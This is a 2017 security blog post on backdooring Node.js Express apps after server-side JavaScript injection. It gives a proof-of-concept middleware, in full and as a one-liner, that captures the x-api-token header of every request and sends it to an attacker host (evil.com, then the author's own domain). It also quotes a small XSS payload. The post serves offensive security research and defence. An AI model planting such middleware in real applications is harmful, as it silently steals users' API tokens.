01 Mar 2017

Backdooring Node.js Express Apps via SSJI

Updated: 2017.03.03

One of the interesting things about Node.js (server-side JavaScript) apps/APIs is that they’re event driven. As an attacker, this means there are new options for post-exploitation code execution, so I wrote a little PoC to demonstrate that.

In the scenario below, we’re going to assume we’ve already identified Server-Side JavaScript Injection (SSJI) in the app. This is not a new vulnerability in Express, but an experiment in post-exploitation. There are many posts on how to exploit SSJI in which they show how to read files with require(‘fs’).readFile or execute commands with require('child_process').spawn. But what if we could add our own event through the SSJI? We could modify the running app’s behavior without touching disk and have it harvest sensitive information or perform other nefarious activities.

In researching this topic, the closest related event-driven code I knew was client-side JavaScript with it’s most common exploit being XSS. When XSS is typically exploited, the code that gets injected adds code to an event handler and triggers it. In the case of "<img src=x onerror=alert(1) />, we add the alert(1) to the onerror event handler, then trigger it by pointing the src to a non-existant resource x. Why not try something similar with Node.js and Express?

In Express, endpoints are defined with something like: app.get('/foo', function(req, res){}) where we set up an event handler for an HTTP GET request hitting the /foo endpoint. Ideally when backdooring an app, we’d want a similar event handler without overwriting the original functionality of the app. Looking through Express’ documentation, I found a feature that lent itself to our backdoor scenario. The app.all method is like the standard app.METHOD() methods, except it matches all HTTP verbs AND it gets executed before other more specific handlers. Sounds like the perfect combo.

For our PoC, we’re going to build a backdoor that steals API tokens. We’ll use the app.all method with a * wildcard match to capture every request. Next in our callback function, three parameters are passed in, req, res and next. req is our request which will hold our API token to steal, res is the response object that gets returned to the user and next will match and call subsequent routes which are the requests we’re hijacking.

Our payload needs to do three things, retrieve the token, send it to the attacker server and call the next() route. To retrieve the token, we can simply grab it from req.headers. Next we need to send the payload and in these situations, I like to live off the land. This PoC utilizes the native http library to handle the sending the API token to the attacker server so we’re not reliant on any specific library to be installed. Lastly, the callback executes the next() method forwarding request processing to the next route. Putting it all together we get the following payload:

app.all('*', function(req, res, next) {
  var http = require('http');
  http.get({host: 'evil.com', path: '/?token=' + req.headers['x-api-token']}, function(res){
    next();
  });
  console.log('pwned');
});

And we can collapse the code into a one-liner to drop into our SSJI:

app.all('*', function(req, res, next) { var http = require('http'); http.get({host: 'zachgrace.com', path: '/?token=' + req.headers['x-api-token']}, function(res){next();});  console.log('pwned');});

The above is just an example payload and would likely need to be tweaked as this could generate a TON of traffic with a busy app. It also does not have any error handling and may cause an app to crash. And there’s likely more subtle and efficient ways of exfiling API token-like data such as DNS.

Update: 2017.03.03: Adam Baldwin of ^Lift Security wrote a follow-up blog and points out a big assumption my code makes, we can’t guarantee that app is in our scope. Checkout Adam’s POC to see how to access app in a more generic/programatic way.

References

Tags: Backdoor  Node.js  Express 
comments powered by Disqus